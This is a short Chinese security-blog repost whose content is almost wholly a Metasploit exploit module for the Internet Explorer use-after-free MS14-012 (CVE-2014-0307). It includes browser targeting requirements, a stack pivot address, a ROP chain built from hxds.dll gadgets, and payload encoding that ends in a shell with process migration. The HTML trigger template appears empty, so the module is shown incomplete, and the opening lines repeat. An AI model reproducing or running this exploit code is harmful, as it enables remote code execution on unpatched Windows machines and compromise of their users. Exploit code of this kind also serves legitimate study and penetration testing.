2014最新IE漏洞 ms14_012

没穿底裤 2020年1月1日02:22:32评论503 views字数 2740阅读9分8秒阅读模式
摘要

依旧是MSF模块
[php]
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
##

依旧是MSF模块
[php]
##
# This module requires Metasploit: http//metasploit.com/download
# Current source:


##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
was most likely introduced back in 2013, therefore only certain builds of MSHTML are
affected. In our testing with IE9, these vulnerable builds appear to be between
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
(before the patch).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original discovery
'sinn3r' # Port
],
'References' =>
[
[ 'CVE', '2014-0307' ],
[ 'MSB', 'MS14-012' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:office => "2010"
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
},
'Targets' =>
[
[
'Automatic',
{
# mov eax,dword ptr [edx+0C4h]; call eax
'Pivot' => 0x0c0d1020 # ECX
}
]
],
'Payload' =>
{
'BadChars' => "/x00",
'PrependEncoder' => "/x81/xc4/x0c/xfe/xff/xff" # add esp, -500
},
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
'InitialAutoRunScript' => 'migrate -f'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
end

# hxds.dll
def get_payload
setup =
[
0x51C3B376, # rop nop
0x51C2046E, # pop edi; ret
0x51BE4A41, # xchg eax, esp; ret
].pack("V*")

# rop nops
45.times { setup << [0x51C3B376].pack('V*') }

setup << [
0x51C2046E, # pop edi ; ret
0x51BD28D4 # mov eax, [ecx], call [eax+8]
].pack('V*')

p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

Rex::Text.to_unescape(p)
end

def exploit_html
template = %Q|

|

return template, binding()
end

def on_request_exploit(cli, request, target_info)
send_exploit_html(cli, exploit_html)
end

end[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:22:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2014最新IE漏洞 ms14_012http://cn-sec.com/archives/75489.html

发表评论

匿名网友 填写信息